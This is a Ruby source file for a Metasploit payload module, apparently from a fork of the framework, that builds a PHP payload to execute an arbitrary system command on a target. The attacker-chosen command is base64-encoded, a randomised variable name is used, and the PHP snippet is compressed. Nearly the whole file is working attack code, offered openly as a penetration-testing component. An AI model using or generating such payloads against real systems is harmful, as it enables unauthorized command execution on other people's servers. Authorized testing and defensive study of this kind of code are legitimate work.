Files
metasploit-gs/modules/payloads/singles/php/exec.rb
T

50 lines
1.1 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Single
include Msf::Payload::Php
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'PHP Execute Command ',
'Description' => 'Execute a single system command',
'Author' => [ 'egypt' ],
'License' => BSD_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP
)
)
register_options(
[
OptString.new('CMD', [ true, 'The command string to execute' ]),
]
)
end
def php_exec_cmd
cmd = Rex::Text.encode_base64(datastore['CMD'])
dis = '$' + Rex::Text.rand_text_alpha(4..7)
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode("#{cmd}");
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
END_OF_PHP_CODE
return Rex::Text.compress(shell)
end
#
# Constructs the payload
#
def generate(_opts = {})
return php_exec_cmd
end
end